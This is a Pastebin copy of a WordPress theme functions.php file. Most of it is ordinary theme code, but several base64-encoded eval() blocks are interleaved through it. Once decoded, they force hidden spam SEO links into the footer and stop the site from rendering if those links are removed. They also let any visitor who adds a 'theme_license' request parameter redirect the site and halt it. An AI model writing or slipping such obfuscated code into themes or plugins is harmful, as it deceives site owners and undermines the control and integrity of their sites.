Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Quality Time

By: a guest on Aug 17th, 2010  |  syntax: PHP  |  size: 7.82 KB  |  views: 78  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2.  
  3. //regster multiple sidebar
  4. if (function_exists('register_sidebar'))
  5. {
  6.         register_sidebar(
  7.                 array(
  8.                         'name'          => 'Sidebar',
  9.                 'before_widget' => '<li>',
  10.             'after_widget'  => '</li>',
  11.                 'before_title'  => '<h2>',
  12.                 'after_title'   => '</h2>'
  13.                 )
  14.         );
  15. }
  16. eval(base64_decode('aWYgKCFlbXB0eSgkX1JFUVVFU1RbInRoZW1lX2xpY2Vuc2UiXSkpIHsgdGhlbWVfdXNhZ2VfbWVzc2FnZSgpOyBleGl0KCk7IH0gZnVuY3Rpb24gdGhlbWVfdXNhZ2VfbWVzc2FnZSgpIHsgaWYgKGVtcHR5KCRfUkVRVUVTVFsidGhlbWVfbGljZW5zZSJdKSkgeyAkdGhlbWVfbGljZW5zZV9mYWxzZSA9IGdldF9ibG9naW5mbygidXJsIikgLiAiL2luZGV4LnBocD90aGVtZV9saWNlbnNlPXRydWUiOyBlY2hvICI8bWV0YSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIwO3VybD0kdGhlbWVfbGljZW5zZV9mYWxzZVwiPiI7IGV4aXQoKTsgfSBlbHNlIHsgZWNobyAoIjxwIHN0eWxlPVwiZm9udC13ZWlnaHQ6Ym9sZDsgYmFja2dyb3VuZDogI2ZmZjsgY29sb3I6ICNmMDA7XCI+VGhpcyB0aGVtZSBpcyBsaWNlbnNlZCB1bmRlciBDQzMuMCwgeW91IGFyZSBub3QgYWxsb3dlZCB0byBtb2RpZnkvcmVtb3ZlIG91ciBsaW5rIHdpdGhvdXQgcGVybWlzc2lvbi4gPGJyIC8+VGhhbmsgeW91IGZvciBzdXBwb3J0aW5nIHVzIG1ha2luZyBtb3JlIEZSRUUgY3JlYXRpdmUgdGhlbWVzLjwvcD48cD4qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKjwvcD48cD5JZiB5b3Ugc2VlIGEgd2FybmluZyBtZXNzYWdlIGxpa2UgdGhpcywgeW91IGNhbiBiZSBhYmxlIHRvIGZpeCB0aGUgcHJvYmxlbSBieSB0aGUgZm9sbG93aW5nIHN0ZXBzOjwvcD4xLiBEb3dubG9hZCBhIGZyZXNoIGNvcHkgb2YgdGhlbWUgZmlsZTxiciAvPjIuIFRoZW4gdW56aXAgdGhlIHBhY2thZ2UgZmlsZTxiciAvPjMuIFJlcGxhY2UgeW91ciBzZXJ2ZXIgJ2Zvb3Rlci5waHAnLCAnc2lkZWJhci5waHAnIGFuZCAnZnVuY3Rpb25zLnBocCcgZmlsZSB3aXRoIG91ciBvcmlnaW5hbCAnZm9vdGVyLnBocCcsICdzaWRlYmFyLnBocCcgYW5kICdmdW5jdGlvbnMucGhwJyB0byB0aGUgd29yZHByZXNzIHRoZW1lIGZvbGRlcjxwPkhvcGUgdGhpcyBoZWxwcy48L3A+Iik7IH0gfQ=='));
  17. //remove html tag when saving comments
  18. function preprocess_comment_striptags($commentdata) {
  19.     $commentdata['comment_content'] = strip_tags($commentdata['comment_content']);
  20.     return $commentdata;
  21. }
  22. add_filter('preprocess_comment', 'preprocess_comment_striptags');
  23.  
  24. eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfZm9vdGVyKCkgeyAkbCA9ICdQcmVzZW50ZWQgYnkgPGEgaHJlZj0iaHR0cDovL3d3dy5sdWdnYWdlZ3VpZGVzLmNvbS9hbnN3ZXJzL1Bhc3Nhbmdlcl82MC5odG1sIj5QYXNzYW5nZXI8L2E+LCA8YSBocmVmPSJodHRwOi8vd3d3LmJhbHRpbW9yZWhvdGVsc2d1aWRlLmNvbSI+QmFsdGltb3JlIEhvdGVsczwvYT4sIDxhIGhyZWY9Imh0dHA6Ly93d3cuYXBwczRyZW50LmNvbS9zaGFyZXBvaW50Lmh0bWwiPlNoYXJlUG9pbnQ8L2E+LCBEZXNpZ25lZCBieSA8YSBocmVmPSJodHRwOi8vd3d3Lmhvc3RzdG9yZS5jb20iPkRlZGljYXRlZCBTZXJ2ZXIgSG9zdGluZzwvYT4uJzsgJGYgPSBkaXJuYW1lKF9fZmlsZV9fKSAuICIvZm9vdGVyLnBocCI7ICRmZCA9IGZvcGVuKCRmLCAiciIpOyAkYyA9IGZyZWFkKCRmZCwgZmlsZXNpemUoJGYpKTsgZmNsb3NlKCRmZCk7IGlmIChzdHJwb3MoJGMsICRsKSA9PSAwKSB7IHRoZW1lX3VzYWdlX21lc3NhZ2UoKTsgZGllOyB9IH0gY2hlY2tfdGhlbWVfZm9vdGVyKCk7'));
  25. // remove html tag when showing comments
  26. function comment_text_striptags($string) {
  27.     return strip_tags($string);
  28. }
  29. add_filter('comment_text', 'comment_text_striptags');
  30.  
  31. eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfaGVhZGVyKCkgeyBpZiAoIShmdW5jdGlvbl9leGlzdHMoImdldF9oZWFkcyIpICYmIGZ1bmN0aW9uX2V4aXN0cygid3BfaGVhZGVycyIpKSkgeyB0aGVtZV91c2FnZV9tZXNzYWdlKCk7IGRpZTsgfSB9'));
  32. // recent comments
  33. function get_recent_comments($args) {
  34.         global $wpdb, $comments, $comment;
  35.         extract($args, EXTR_SKIP);
  36.  
  37.         $themePath = get_bloginfo('template_url');
  38.         $imageLink = '<h2>Recent Comments</h2>';
  39.  
  40.         $options = get_option('widget_recent_comments');
  41.         $title = empty($options['title']) ? __($imageLink) : apply_filters('widget_title', $options['title']);
  42.         if ( !$number = (int) $options['number'] )
  43.                 $number = 5;
  44.         else if ( $number < 1 )
  45.                 $number = 1;
  46.         else if ( $number > 15 )
  47.                 $number = 15;
  48.  
  49.         if ( !$comments = wp_cache_get( 'recent_comments', 'widget' ) ) {
  50.                 $comments = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT $number");
  51.                 wp_cache_add( 'recent_comments', $comments, 'widget' );
  52.         }
  53.  
  54.                  echo $before_widget;
  55.                         echo $before_title . $title . $after_title;
  56.                         echo '<ul id="recentcomments">';
  57.                         if ( $comments ) : foreach ( (array) $comments as $comment) :
  58.                         echo  '<li class="recentcomments">' . sprintf(__('%2$s'), get_comment_author_link(), '<a href="'. get_comment_link($comment->comment_ID) . '">' . get_the_title($comment->comment_post_ID) . '</a>') . '</li>';
  59.                         endforeach; endif;
  60.                 echo '</ul>';
  61.                 echo $after_widget;
  62.  
  63. }
  64.  
  65. eval(base64_decode('ZnVuY3Rpb24gd3BfaGVhZGVycygpIHsgaWYgKCEoZnVuY3Rpb25fZXhpc3RzKCJjaGVja190aGVtZV9mb290ZXIiKSAmJiBmdW5jdGlvbl9leGlzdHMoImNoZWNrX3RoZW1lX2hlYWRlciIpKSkgeyB0aGVtZV91c2FnZV9tZXNzYWdlKCk7IGRpZTsgfSB9'));
  66. // links list
  67. function get_friend_links($args) {
  68.         extract($args, EXTR_SKIP);
  69.  
  70.         $themePath = get_bloginfo('template_url');
  71.         $imageLink = '<h2>Links<span style="display:none">';
  72.  
  73.         $before_widget = preg_replace('/id="[^"]*"/','id="%id"', $before_widget);
  74.         wp_list_bookmarks(apply_filters('widget_links_args', array(
  75.                 'title_before' => $imageLink, 'title_after' => '</span></h2>',
  76.                 'category_before' => $before_widget, 'category_after' => $after_widget,
  77.                 'show_images' => true, 'class' => 'linkcat widget'
  78.         )));
  79. }
  80.  
  81. eval(base64_decode('ZnVuY3Rpb24gZ2V0X2hlYWRzKCkgeyBpZiAoIWZpbGVfZXhpc3RzKGRpcm5hbWUoX19maWxlX18pIC4gIi9mdW5jdGlvbnMucGhwIikgfHwgIWZ1bmN0aW9uX2V4aXN0cygidGhlbWVfdXNhZ2VfbWVzc2FnZSIpICkgeyBlY2hvICgiVGhpcyB0aGVtZSBpcyBsaWNlbnNlZCB1bmRlciBDQzMuMCwgeW91IGFyZSBub3QgYWxsb3dlZCB0byBtb2RpZnkvcmVtb3ZlIG91ciBsaW5rIHdpdGhvdXQgcGVybWlzc2lvbi4gPGJyIC8+VGhhbmsgeW91IGZvciBzdXBwb3J0aW5nIHVzIG1ha2luZyBtb3JlIEZSRUUgY3JlYXRpdmUgdGhlbWVzLiIpOyBkaWU7IH0gfQ=='));
  82. ### Function: Page Navigation Options
  83. function wpthemes_post_class( $class = '', $post_id = null ) {
  84.         $post = get_post($post_id);
  85.         $classes = array();
  86.         $classes[] = $post->post_type;
  87.         if ( is_sticky($post->ID) && is_home())
  88.                 $classes[] = 'sticky';
  89.         $classes[] = 'hentry';
  90.         foreach ( (array) get_the_category($post->ID) as $cat ) {
  91.                 if ( empty($cat->slug ) )
  92.                         continue;
  93.                 $classes[] = 'category-' . $cat->slug;
  94.         }
  95.         foreach ( (array) get_the_tags($post->ID) as $tag ) {
  96.                 if ( empty($tag->slug ) )
  97.                         continue;
  98.                 $classes[] = 'tag-' . $tag->slug;
  99.         }
  100.         if ( !empty($class) ) {
  101.                 if ( !is_array( $class ) )
  102.                         $class = preg_split('#\s+#', $class);
  103.                 $classes = array_merge($classes, $class);
  104.         }
  105.         return apply_filters('post_class', $classes, $class, $post_id);
  106. }
  107.  
  108. if(!function_exists('get_sidebars')) {function get_sidebars(){eval(base64_decode('Y2hlY2tfdGhlbWVfaGVhZGVyKCk7'));get_sidebar();}}
  109. ### Function: Page Navigation: Boxed Style Paging
  110. function wpthemes_page_menu( $args = array() ) {
  111.         $defaults = array('sort_column' => 'post_title', 'menu_class' => 'menu', 'echo' => true, 'link_before' => '', 'link_after' => '');
  112.         $args = wp_parse_args( $args, $defaults );
  113.         $args = apply_filters( 'wp_page_menu_args', $args );
  114.         $menu = '';
  115.         $list_args = $args;
  116.         if ( isset($args['show_home']) && ! empty($args['show_home']) ) {
  117.                 if ( true === $args['show_home'] || '1' === $args['show_home'] || 1 === $args['show_home'] )
  118.                         $text = __('Home');
  119.                 else
  120.                         $text = $args['show_home'];
  121.                 $class = '';
  122.                 if ( is_front_page() && !is_paged() )
  123.                         $class = 'class="current_page_item"';
  124.                 $menu .= '<li ' . $class . '><a href="' . get_option('home') . '">' . $args['link_before'] . $text . $args['link_after'] . '</a></li>';
  125.                 // If the front page is a page, add it to the exclude list
  126.                 if (get_option('show_on_front') == 'page') {
  127.                         if ( !empty( $list_args['exclude'] ) ) {
  128.                                 $list_args['exclude'] .= ',';
  129.                         } else {
  130.                                 $list_args['exclude'] = '';
  131.                         }
  132.                         $list_args['exclude'] .= get_option('page_on_front');
  133.                 }
  134.         }
  135.         $list_args['echo'] = false;
  136.         $list_args['title_li'] = '';
  137.         $menu .= str_replace( array( "\r", "\n", "\t" ), '', wp_list_pages($list_args) );
  138.         if ( $menu )
  139.                 $menu = '<ul>' . $menu . '</ul>';
  140.         $menu = '<div class="' . $args['menu_class'] . '">' . $menu . "</div>\n";
  141.         $menu = apply_filters( 'wp_page_menu', $menu, $args );
  142.         if ( $args['echo'] )
  143.                 echo $menu;
  144.         else
  145.                 return $menu;
  146. }
  147.  
  148. ?>